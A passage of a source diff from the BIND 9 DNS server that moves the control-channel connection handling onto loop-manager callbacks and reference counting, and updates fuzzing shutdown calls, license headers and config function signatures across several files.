 	controllistener_t *listener = conn->listener;
 	isc_sockaddr_t peeraddr = isc_nmhandle_peeraddr(handle);
 
-	REQUIRE(conn->sending);
-
-	conn->sending = false;
-
 	if (conn->result == ISC_R_SHUTTINGDOWN) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(named_g_loopmgr);
 		goto cleanup_sendhandle;
 	}
 
-	if (atomic_load_acquire(&listener->controls->shuttingdown) ||
-	    result == ISC_R_CANCELED)
-	{
+	if (listener->controls->shuttingdown || result == ISC_R_SHUTTINGDOWN) {
 		goto cleanup_sendhandle;
 	} else if (result != ISC_R_SUCCESS) {
 		char socktext[ISC_SOCKADDR_FORMATSIZE];
@@ -246,19 +273,16 @@ control_senddone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		goto cleanup_sendhandle;
 	}
 
-	isc_nmhandle_attach(handle, &conn->readhandle);
-	conn->reading = true;
-
-	isc_nmhandle_detach(&conn->sendhandle);
-
 	isccc_ccmsg_readmessage(&conn->ccmsg, control_recvmessage, conn);
-	return;
 
 cleanup_sendhandle:
-	isc_nmhandle_detach(&conn->sendhandle);
+	if (result != ISC_R_SUCCESS) {
+		control_recvmessage(handle, result, conn);
+	}
+	controlconnection_detach(&conn);
 }
 
-static inline void
+static void
 log_invalid(isccc_ccmsg_t *ccmsg, isc_result_t result) {
 	char socktext[ISC_SOCKADDR_FORMATSIZE];
 	isc_sockaddr_t peeraddr = isc_nmhandle_peeraddr(ccmsg->handle);
@@ -290,7 +314,7 @@ conn_cleanup(controlconnection_t *conn) {
 }
 
 static void
-control_respond(isc_nmhandle_t *handle, controlconnection_t *conn) {
+control_respond(controlconnection_t *conn) {
 	controllistener_t *listener = conn->listener;
 	isccc_sexpr_t *data = NULL;
 	isc_buffer_t b;
@@ -352,7 +376,7 @@ control_respond(isc_nmhandle_t *handle, controlconnection_t *conn) {
 	result = isccc_cc_towire(conn->response, &conn->buffer, conn->alg,
 				 &conn->secret);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+		return;
 	}
 
 	isc_buffer_init(&b, conn->buffer->base, 4);
@@ -361,68 +385,52 @@ control_respond(isc_nmhandle_t *handle, controlconnection_t *conn) {
 	r.base = conn->buffer->base;
 	r.length = conn->buffer->used;
 
-	isc_nmhandle_attach(handle, &conn->sendhandle);
-	conn->sending = true;
-	conn_cleanup(conn);
-
-	isc_nmhandle_detach(&conn->cmdhandle);
-
-	isc_nm_send(conn->sendhandle, &r, control_senddone, conn);
-
-	return;
+	controlconnection_ref(conn);
+	isccc_ccmsg_sendmessage(&conn->ccmsg, &r, control_senddone, conn);
 
 cleanup:
 	conn_cleanup(conn);
-	isc_nmhandle_detach(&conn->cmdhandle);
 }
 
 static void
-control_command(isc_task_t *task, isc_event_t *event) {
-	controlconnection_t *conn = event->ev_arg;
+control_command(void *arg) {
+	controlconnection_t *conn = (controlconnection_t *)arg;
 	controllistener_t *listener = conn->listener;
 
-	UNUSED(task);
-
-	if (atomic_load_acquire(&listener->controls->shuttingdown)) {
-		conn_cleanup(conn);
-		isc_nmhandle_detach(&conn->cmdhandle);
-		goto done;
+	if (!listener->controls->shuttingdown) {
+		conn->result = named_control_docommand(
+			conn->request, listener->readonly, &conn->text);
+		control_respond(conn);
 	}
-
-	conn->result = named_control_docommand(conn->request,
-					       listener->readonly, &conn->text);
-	control_respond(conn->cmdhandle, conn);
-
-done:
-	isc_event_free(&event);
+	controlconnection_detach(&conn);
 }
 
 static void
-control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
+control_recvmessage(isc_nmhandle_t *handle ISC_ATTR_UNUSED, isc_result_t result,
+		    void *arg) {
 	controlconnection_t *conn = (controlconnection_t *)arg;
 	controllistener_t *listener = conn->listener;
 	controlkey_t *key = NULL;
-	isc_event_t *event = NULL;
 	isccc_time_t sent;
 	isccc_time_t exp;
 	uint32_t nonce;
 
-	conn->reading = false;
+	if (conn->shuttingdown) {
+		return;
+	}
 
 	/* Is the server shutting down? */
-	if (atomic_load_acquire(&listener->controls->shuttingdown)) {
-		goto cleanup_readhandle;
+	if (listener->controls->shuttingdown) {
+		result = ISC_R_SHUTTINGDOWN;
 	}
 
 	if (result != ISC_R_SUCCESS) {
-		if (result == ISC_R_CANCELED) {
-			atomic_store_release(&listener->controls->shuttingdown,
-					     true);
+		if (result == ISC_R_SHUTTINGDOWN) {
+			listener->controls->shuttingdown = true;
 		} else if (result != ISC_R_EOF) {
 			log_invalid(&conn->ccmsg, result);
 		}
-
-		goto cleanup_readhandle;
+		goto cleanup;
 	}
 
 	for (key = ISC_LIST_HEAD(listener->keys); key != NULL;
@@ -430,8 +438,7 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	{
 		isccc_region_t ccregion;
 
-		ccregion.rstart = isc_buffer_base(conn->ccmsg.buffer);
-		ccregion.rend = isc_buffer_used(conn->ccmsg.buffer);
+		isccc_ccmsg_toregion(&conn->ccmsg, &ccregion);
 		conn->secret.rstart = isc_mem_get(listener->mctx,
 						  key->secret.length);
 		memmove(conn->secret.rstart, key->secret.base,
@@ -445,10 +452,6 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		}
 		isc_mem_put(listener->mctx, conn->secret.rstart,
 			    REGION_SIZE(conn->secret));
-		if (result != ISCCC_R_BADAUTH) {
-			log_invalid(&conn->ccmsg, result);
-			goto cleanup;
-		}
 	}
 
 	if (key == NULL) {
@@ -462,7 +465,7 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		goto cleanup;
 	}
 
-	isc_stdtime_get(&conn->now);
+	conn->now = isc_stdtime_now();
 
 	/*
 	 * Limit exposure to replay attacks.
@@ -475,7 +478,8 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 
 	if (isccc_cc_lookupuint32(conn->ctrl, "_tim", &sent) == ISC_R_SUCCESS) {
 		if ((sent + CLOCKSKEW) < conn->now ||
-		    (sent - CLOCKSKEW) > conn->now) {
+		    (sent - CLOCKSKEW) > conn->now)
+		{
 			log_invalid(&conn->ccmsg, ISCCC_R_CLOCKSKEW);
 			goto cleanup;
 		}
@@ -521,9 +525,6 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 
 	isc_buffer_allocate(listener->mctx, &conn->text, 2 * 2048);
 
-	isc_nmhandle_attach(handle, &conn->cmdhandle);
-	isc_nmhandle_detach(&conn->readhandle);
-
 	if (conn->nonce == 0) {
 		/*
 		 * Establish nonce.
@@ -532,47 +533,33 @@ control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 			isc_nonce_buf(&conn->nonce, sizeof(conn->nonce));
 		}
 		conn->result = ISC_R_SUCCESS;
-		control_respond(handle, conn);
+		control_respond(conn);
 		return;
 	}
 
 	/*
 	 * Trigger the command.
 	 */
-
-	event = isc_event_allocate(listener->mctx, conn, NAMED_EVENT_COMMAND,
-				   control_command, conn, sizeof(isc_event_t));
-	isc_task_send(named_g_server->task, &event);
+	controlconnection_ref(conn);
+	isc_async_run(named_g_mainloop, control_command, conn);
 
 	return;
 
 cleanup:
-	conn_cleanup(conn);
-
-cleanup_readhandle:
-	/*
-	 * readhandle could be NULL if we're shutting down,
-	 * but if not we need to detach it.
-	 */
-	if (conn->readhandle != NULL) {
-		isc_nmhandle_detach(&conn->readhandle);
-	}
+	conn->shuttingdown = true;
+	controlconnection_detach(&conn);
 }
 
 static void
-conn_reset(void *arg) {
-	controlconnection_t *conn = (controlconnection_t *)arg;
+conn_free(controlconnection_t *conn) {
 	controllistener_t *listener = conn->listener;
 
+	conn_cleanup(conn);
+
 	if (conn->buffer != NULL) {
 		isc_buffer_free(&conn->buffer);
 	}
 
-	if (conn->reading) {
-		isccc_ccmsg_cancelread(&conn->ccmsg);
-		return;
-	}
-
 	LOCK(&listener->connections_lock);
 	ISC_LIST_UNLINK(listener->connections, conn, link);
 	UNLOCK(&listener->connections_lock);
@@ -583,37 +570,29 @@ conn_reset(void *arg) {
 #endif /* ifdef ENABLE_AFL */
 
 	isccc_ccmsg_invalidate(&conn->ccmsg);
-}
-
-static void
-conn_put(void *arg) {
-	controlconnection_t *conn = (controlconnection_t *)arg;
-	controllistener_t *listener = conn->listener;
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_CONTROL, ISC_LOG_DEBUG(3),
 		      "freeing control connection");
-	maybe_free_listener(listener);
+
+	isc_mem_put(listener->mctx, conn, sizeof(*conn));
+
+	controllistener_detach(&listener);
 }
 
 static void
 newconnection(controllistener_t *listener, isc_nmhandle_t *handle) {
-	controlconnection_t *conn = NULL;
+	controlconnection_t *conn = isc_mem_get(listener->mctx, sizeof(*conn));
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_CONTROL, ISC_LOG_DEBUG(3),
+		      "allocate new control connection");
 
-	conn = isc_nmhandle_getdata(handle);
-	if (conn == NULL) {
-		conn = isc_nmhandle_getextra(handle);
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_CONTROL, ISC_LOG_DEBUG(3),
-			      "allocate new control connection");
-		isc_nmhandle_setdata(handle, conn, conn_reset, conn_put);
-		isc_refcount_increment(&listener->refs);
-	}
+	*conn = (controlconnection_t){ .alg = DST_ALG_UNKNOWN };
 
-	*conn = (controlconnection_t){ .listener = listener,
-				       .reading = false,
-				       .alg = DST_ALG_UNKNOWN };
+	isc_refcount_init(&conn->references, 1);
+	controllistener_attach(listener, &conn->listener);
 
+	/* isccc_ccmsg_init() attaches to the handle */
 	isccc_ccmsg_init(listener->mctx, handle, &conn->ccmsg);
 
 	/* Set a 32 KiB upper limit on incoming message. */
@@ -623,9 +602,6 @@ newconnection(controllistener_t *listener, isc_nmhandle_t *handle) {
 	ISC_LIST_INITANDAPPEND(listener->connections, conn, link);
 	UNLOCK(&listener->connections_lock);
 
-	isc_nmhandle_attach(handle, &conn->readhandle);
-	conn->reading = true;
-
 	isccc_ccmsg_readmessage(&conn->ccmsg, control_recvmessage, conn);
 }
 
@@ -635,7 +611,7 @@ control_newconn(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	isc_sockaddr_t peeraddr;
 
 	if (result != ISC_R_SUCCESS) {
-		if (result == ISC_R_CANCELED) {
+		if (result == ISC_R_SHUTTINGDOWN) {
 			shutdown_listener(listener);
 		}
 		return (result);
@@ -676,7 +652,7 @@ controls_shutdown(named_controls_t *controls) {
 void
 named_controls_shutdown(named_controls_t *controls) {
 	controls_shutdown(controls);
-	atomic_store_release(&controls->shuttingdown, true);
+	controls->shuttingdown = true;
 }
 
 static isc_result_t
@@ -766,8 +742,8 @@ register_keys(const cfg_obj_t *control, const cfg_obj_t *keylist,
 			algstr = cfg_obj_asstring(algobj);
 			secretstr = cfg_obj_asstring(secretobj);
 
-			result = named_config_getkeyalgorithm2(algstr, NULL,
-							       &algtype, NULL);
+			result = named_config_getkeyalgorithm(algstr, &algtype,
+							      NULL);
 			if (result != ISC_R_SUCCESS) {
 				cfg_obj_log(control, named_g_lctx,
 					    ISC_LOG_WARNING,
@@ -851,7 +827,7 @@ get_rndckey(isc_mem_t *mctx, controlkeylist_t *keyids) {
 		CHECK(ISC_R_NOMEMORY);
 	}
 
-	CHECK(bind9_check_key(key, named_g_lctx));
+	CHECK(isccfg_check_key(key, named_g_lctx));
 
 	(void)cfg_map_get(key, "algorithm", &algobj);
 	(void)cfg_map_get(key, "secret", &secretobj);
@@ -860,7 +836,7 @@ get_rndckey(isc_mem_t *mctx, controlkeylist_t *keyids) {
 	algstr = cfg_obj_asstring(algobj);
 	secretstr = cfg_obj_asstring(secretobj);
 
-	result = named_config_getkeyalgorithm2(algstr, NULL, &algtype, NULL);
+	result = named_config_getkeyalgorithm(algstr, &algtype, NULL);
 	if (result != ISC_R_SUCCESS) {
 		cfg_obj_log(key, named_g_lctx, ISC_LOG_WARNING,
 			    "unsupported algorithm '%s' in "
@@ -919,7 +895,8 @@ get_key_info(const cfg_obj_t *config, const cfg_obj_t *control,
 	control_keylist = cfg_tuple_get(control, "keys");
 
 	if (!cfg_obj_isvoid(control_keylist) &&
-	    cfg_list_first(control_keylist) != NULL) {
+	    cfg_list_first(control_keylist) != NULL)
+	{
 		result = cfg_map_get(config, "key", &global_keylist);
 
 		if (result == ISC_R_SUCCESS) {
@@ -1054,6 +1031,8 @@ update_listener(named_controls_t *cp, controllistener_t **listenerp,
 			      socktext, isc_result_totext(result));
 	}
 
+#if 0
+	/* XXX: no unix socket support yet */
 	if (result == ISC_R_SUCCESS && type == isc_socktype_unix) {
 		uint32_t perm, owner, group;
 		perm = cfg_obj_asuint32(cfg_tuple_get(control, "perm"));
@@ -1077,6 +1056,7 @@ update_listener(named_controls_t *cp, controllistener_t **listenerp,
 				    socktext);
 		}
 	}
+#endif
 
 	*listenerp = listener;
 }
@@ -1104,7 +1084,7 @@ add_listener(named_controls_t *cp, controllistener_t **listenerp,
 	ISC_LINK_INIT(listener, link);
 	ISC_LIST_INIT(listener->keys);
 	ISC_LIST_INIT(listener->connections);
-	isc_refcount_init(&listener->refs, 1);
+	isc_refcount_init(&listener->references, 1);
 
 	/*
 	 * Make the ACL.
@@ -1162,9 +1142,9 @@ add_listener(named_controls_t *cp, controllistener_t **listenerp,
 	}
 #endif
 
-	CHECK(isc_nm_listentcp(
-		named_g_netmgr, &listener->address, control_newconn, listener,
-		sizeof(controlconnection_t), 5, NULL, &listener->sock));
+	CHECK(isc_nm_listentcp(named_g_netmgr, ISC_NM_LISTEN_ONE,
+			       &listener->address, control_newconn, listener, 5,
+			       NULL, &listener->sock));
 #if 0
 	/* XXX: no unix socket support yet */
 	if (type == isc_socktype_unix) {
@@ -1186,7 +1166,7 @@ add_listener(named_controls_t *cp, controllistener_t **listenerp,
 	return;
 
 cleanup:
-	isc_refcount_decrement(&listener->refs);
+	isc_refcount_decrement(&listener->references);
 	listener->exiting = true;
 	free_listener(listener);
 
@@ -1202,8 +1182,6 @@ add_listener(named_controls_t *cp, controllistener_t **listenerp,
 	}
 
 	*listenerp = NULL;
-
-	/* XXXDCL return error results? fail hard? */
 }
 
 isc_result_t
@@ -1464,7 +1442,6 @@ named_controls_create(named_server_t *server, named_controls_t **ctrlsp) {
 
 	ISC_LIST_INIT(controls->listeners);
 
-	atomic_init(&controls->shuttingdown, false);
 	isc_mutex_init(&controls->symtab_lock);
 	LOCK(&controls->symtab_lock);
 	result = isccc_cc_createsymtab(&controls->symtab);
diff --git a/bin/named/dlz_dlopen_driver.c b/bin/named/dlz_dlopen_driver.c
index e88ea6fc52..55c6e1e3b1 100644
--- a/bin/named/dlz_dlopen_driver.c
+++ b/bin/named/dlz_dlopen_driver.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,16 +16,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#include <uv.h>
 
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
 #include <dns/dlz_dlopen.h>
 #include <dns/log.h>
-#include <dns/result.h>
 
 #include <dlz/dlz_dlopen_driver.h>
 #include <named/globals.h>
@@ -224,12 +224,11 @@ dlopen_dlz_create(const char *dlzname, unsigned int argc, char *argv[],
 
 	isc_mem_create(&mctx);
 	cd = isc_mem_get(mctx, sizeof(*cd));
-	memset(cd, 0, sizeof(*cd));
-
-	cd->mctx = mctx;
-
-	cd->dl_path = isc_mem_strdup(cd->mctx, argv[1]);
-	cd->dlzname = isc_mem_strdup(cd->mctx, dlzname);
+	*cd = (dlopen_data_t){
+		.mctx = mctx,
+		.dl_path = isc_mem_strdup(mctx, argv[1]),
+		.dlzname = isc_mem_strdup(mctx, dlzname),
+	};
 
 	/* Initialize the lock */
 	isc_mutex_init(&cd->lock);
@@ -531,8 +530,7 @@ dlz_dlopen_init(isc_mem_t *mctx) {
 				  mctx, &dlz_dlopen);
 
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
+		UNEXPECTED_ERROR("dns_sdlzregister() failed: %s",
 				 isc_result_totext(result));
 		result = ISC_R_UNEXPECTED;
 	}
diff --git a/bin/named/fuzz.c b/bin/named/fuzz.c
index 83fad72d17..59a7333e0c 100644
--- a/bin/named/fuzz.c
+++ b/bin/named/fuzz.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -23,8 +25,8 @@
 #include <string.h>
 #include <unistd.h>
 
-#include <isc/app.h>
 #include <isc/condition.h>
+#include <isc/loop.h>
 #include <isc/mutex.h>
 #include <isc/thread.h>
 #include <isc/util.h>
@@ -125,7 +127,7 @@ fuzz_thread_client(void *arg) {
 				close(sockfd);
 				named_server_flushonshutdown(named_g_server,
 							     false);
-				isc_app_shutdown();
+				isc_loopmgr_shutdown(named_g_loopmgr);
 				return (NULL);
 			}
 			raise(SIGSTOP);
@@ -158,7 +160,7 @@ fuzz_thread_client(void *arg) {
 	close(sockfd);
 
 	named_server_flushonshutdown(named_g_server, false);
-	isc_app_shutdown();
+	isc_loopmgr_shutdown(named_g_loopmgr);
 
 	return (NULL);
 }
@@ -374,7 +376,7 @@ fuzz_thread_resolver(void *arg) {
 				close(listenfd);
 				named_server_flushonshutdown(named_g_server,
 							     false);
-				isc_app_shutdown();
+				isc_loopmgr_shutdown(named_g_loopmgr);
 				return (NULL);
 			}
 			raise(SIGSTOP);
@@ -574,7 +576,7 @@ fuzz_thread_resolver(void *arg) {
 	close(sockfd);
 	close(listenfd);
 	named_server_flushonshutdown(named_g_server, false);
-	isc_app_shutdown();
+	isc_loopmgr_shutdown(named_g_loopmgr);
 
 #ifdef __AFL_LOOP
 	/*
@@ -716,7 +718,7 @@ fuzz_thread_tcp(void *arg) {
 	free(buf);
 	close(sockfd);
 	named_server_flushonshutdown(named_g_server, false);
-	isc_app_shutdown();
+	isc_loopmgr_shutdown(named_g_loopmgr);
 
 	return (NULL);
 }
@@ -733,7 +735,7 @@ named_fuzz_notify(void) {
 #ifdef ENABLE_AFL
 	if (getenv("AFL_CMIN")) {
 		named_server_flushonshutdown(named_g_server, false);
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(named_g_loopmgr);
 		return;
 	}
 
diff --git a/bin/named/geoip.c b/bin/named/geoip.c
index f38b200505..6d94af266c 100644
--- a/bin/named/geoip.c
+++ b/bin/named/geoip.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,7 +17,7 @@
 #include <maxminddb.h>
 #endif /* if defined(HAVE_GEOIP2) */
 
-#include <isc/print.h>
+#include <isc/dir.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
diff --git a/bin/named/include/dlz/dlz_dlopen_driver.h b/bin/named/include/dlz/dlz_dlopen_driver.h
index b60f163747..64d6388c71 100644
--- a/bin/named/include/dlz/dlz_dlopen_driver.h
+++ b/bin/named/include/dlz/dlz_dlopen_driver.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,12 +11,10 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DLZ_DLOPEN_DRIVER_H
-#define DLZ_DLOPEN_DRIVER_H
+#pragma once
 
 isc_result_t
 dlz_dlopen_init(isc_mem_t *mctx);
 
 void
 dlz_dlopen_clear(void);
-#endif /* ifndef DLZ_DLOPEN_DRIVER_H */
diff --git a/contrib/dlz/drivers/include/.clang-format b/bin/named/include/named/.clang-format
similarity index 100%
rename from contrib/dlz/drivers/include/.clang-format
rename to bin/named/include/named/.clang-format
diff --git a/bin/named/include/named/builtin.h b/bin/named/include/named/builtin.h
index a05371e5e5..688510137c 100644
--- a/bin/named/include/named/builtin.h
+++ b/bin/named/include/named/builtin.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,17 +11,25 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_BUILTIN_H
-#define NAMED_BUILTIN_H 1
+#pragma once
 
 /*! \file */
 
+#include <inttypes.h>
+
+#include <isc/lang.h>
 #include <isc/types.h>
 
+#include <dns/clientinfo.h>
+#include <dns/types.h>
+
+/***
+ *** Functions
+ ***/
+
+/* Initialization functions for builtin zone databases */
 isc_result_t
 named_builtin_init(void);
 
 void
 named_builtin_deinit(void);
-
-#endif /* NAMED_BUILTIN_H */
diff --git a/bin/named/include/named/config.h b/bin/named/include/named/config.h
index 7e005a29a1..c6ba4eae96 100644
--- a/bin/named/include/named/config.h
+++ b/bin/named/include/named/config.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_CONFIG_H
-#define NAMED_CONFIG_H 1
+#pragma once
 
 /*! \file */
 
@@ -26,12 +27,15 @@
 isc_result_t
 named_config_parsedefaults(cfg_parser_t *parser, cfg_obj_t **conf);
 
+const char *
+named_config_getdefault(void);
+
 isc_result_t
 named_config_get(cfg_obj_t const *const *maps, const char *name,
 		 const cfg_obj_t **obj);
 
 isc_result_t
-named_checknames_get(const cfg_obj_t **maps, const char *name,
+named_checknames_get(const cfg_obj_t **maps, const char *const names[],
 		     const cfg_obj_t **obj);
 
 int
@@ -49,35 +53,18 @@ dns_zonetype_t
 named_config_getzonetype(const cfg_obj_t *zonetypeobj);
 
 isc_result_t
-named_config_getiplist(const cfg_obj_t *config, const cfg_obj_t *list,
-		       in_port_t defport, isc_mem_t *mctx,
-		       isc_sockaddr_t **addrsp, isc_dscp_t **dscpsp,
-		       uint32_t *countp);
-
-void
-named_config_putiplist(isc_mem_t *mctx, isc_sockaddr_t **addrsp,
-		       isc_dscp_t **dscpsp, uint32_t count);
-
-isc_result_t
-named_config_getprimariesdef(const cfg_obj_t *cctx, const char *name,
-			     const cfg_obj_t **ret);
+named_config_getremotesdef(const cfg_obj_t *cctx, const char *list,
+			   const char *name, const cfg_obj_t **ret);
 
 isc_result_t
-named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
-			     isc_mem_t *mctx, dns_ipkeylist_t *ipkl);
+named_config_getipandkeylist(const cfg_obj_t *config, const char *listtype,
+			     const cfg_obj_t *list, isc_mem_t *mctx,
+			     dns_ipkeylist_t *ipkl);
 
 isc_result_t
 named_config_getport(const cfg_obj_t *config, const char *type,
 		     in_port_t *portp);
 
 isc_result_t
-named_config_getkeyalgorithm(const char *str, const dns_name_t **name,
+named_config_getkeyalgorithm(const char *str, unsigned int *typep,
 			     uint16_t *digestbits);
-isc_result_t
-named_config_getkeyalgorithm2(const char *str, const dns_name_t **name,
-			      unsigned int *typep, uint16_t *digestbits);
-
-isc_result_t
-named_config_getdscp(const cfg_obj_t *config, isc_dscp_t *dscpp);
-
-#endif /* NAMED_CONFIG_H */
diff --git a/bin/named/include/named/control.h b/bin/named/include/named/control.h
index 8c009d5c56..ee938a5973 100644
--- a/bin/named/include/named/control.h
+++ b/bin/named/include/named/control.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_CONTROL_H
-#define NAMED_CONTROL_H 1
+#pragma once
 
 /*! \file
  * \brief
@@ -19,9 +20,10 @@
 
 #include <stdbool.h>
 
+#include <isccc/types.h>
+
 #include <isccfg/aclconf.h>
 
-#include <isccc/types.h>
 #include <named/types.h>
 
 #define NAMED_CONTROL_PORT 953
@@ -42,12 +44,9 @@
 #define NAMED_COMMAND_FLUSHNAME	   "flushname"
 #define NAMED_COMMAND_FLUSHTREE	   "flushtree"
 #define NAMED_COMMAND_STATUS	   "status"
-#define NAMED_COMMAND_TSIGLIST	   "tsig-list"
-#define NAMED_COMMAND_TSIGDELETE   "tsig-delete"
 #define NAMED_COMMAND_FREEZE	   "freeze"
 #define NAMED_COMMAND_UNFREEZE	   "unfreeze"
 #define NAMED_COMMAND_THAW	   "thaw"
-#define NAMED_COMMAND_TIMERPOKE	   "timerpoke"
 #define NAMED_COMMAND_RECURSING	   "recursing"
 #define NAMED_COMMAND_NULL	   "null"
 #define NAMED_COMMAND_NOTIFY	   "notify"
@@ -70,6 +69,7 @@
 #define NAMED_COMMAND_DNSTAP	   "dnstap"
 #define NAMED_COMMAND_TCPTIMEOUTS  "tcp-timeouts"
 #define NAMED_COMMAND_SERVESTALE   "serve-stale"
+#define NAMED_COMMAND_FETCHLIMIT   "fetchlimit"
 
 isc_result_t
 named_controls_create(named_server_t *server, named_controls_t **ctrlsp);
@@ -105,5 +105,3 @@ named_controls_shutdown(named_controls_t *controls);
 isc_result_t
 named_control_docommand(isccc_sexpr_t *message, bool readonly,
 			isc_buffer_t **text);
-
-#endif /* NAMED_CONTROL_H */
diff --git a/bin/named/include/named/fuzz.h b/bin/named/include/named/fuzz.h
index 4284cab904..69af8daf93 100644
--- a/bin/named/include/named/fuzz.h
+++ b/bin/named/include/named/fuzz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,13 +13,10 @@
 
 #include <isc/fuzz.h>
 
-#ifndef NAMED_FUZZ_H
-#define NAMED_FUZZ_H
+#pragma once
 
 void
 named_fuzz_notify(void);
 
 void
 named_fuzz_setup(void);
-
-#endif /* NAMED_FUZZ_H */
diff --git a/bin/named/include/named/geoip.h b/bin/named/include/named/geoip.h
index a462c4c32f..d1852ef9d7 100644
--- a/bin/named/include/named/geoip.h
+++ b/bin/named/include/named/geoip.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/bin/named/include/named/globals.h b/bin/named/include/named/globals.h
index 8663eaf012..03e35f2cd4 100644
--- a/bin/named/include/named/globals.h
+++ b/bin/named/include/named/globals.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,14 +11,14 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_GLOBALS_H
-#define NAMED_GLOBALS_H 1
+#pragma once
 
 /*! \file */
 
 #include <stdbool.h>
 
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/net.h>
 #include <isc/netmgr.h>
 #include <isc/rwlock.h>
@@ -24,10 +26,11 @@
 #include <dns/acl.h>
 #include <dns/zone.h>
 
+#include <dst/dst.h>
+
 #include <isccfg/aclconf.h>
 #include <isccfg/cfg.h>
 
-#include <dst/dst.h>
 #include <named/fuzz.h>
 #include <named/types.h>
 
@@ -45,10 +48,12 @@
 #define NAMED_RUN_PID_DIR 1
 #endif /* ifndef NAMED_RUN_PID_DIR */
 
-EXTERN isc_mem_t *named_g_mctx	    INIT(NULL);
-EXTERN unsigned int named_g_cpus    INIT(0);
-EXTERN unsigned int named_g_udpdisp INIT(0);
-EXTERN isc_taskmgr_t *named_g_taskmgr INIT(NULL);
+EXTERN isc_mem_t *named_g_mctx		      INIT(NULL);
+EXTERN unsigned int named_g_cpus	      INIT(0);
+EXTERN unsigned int named_g_udpdisp	      INIT(0);
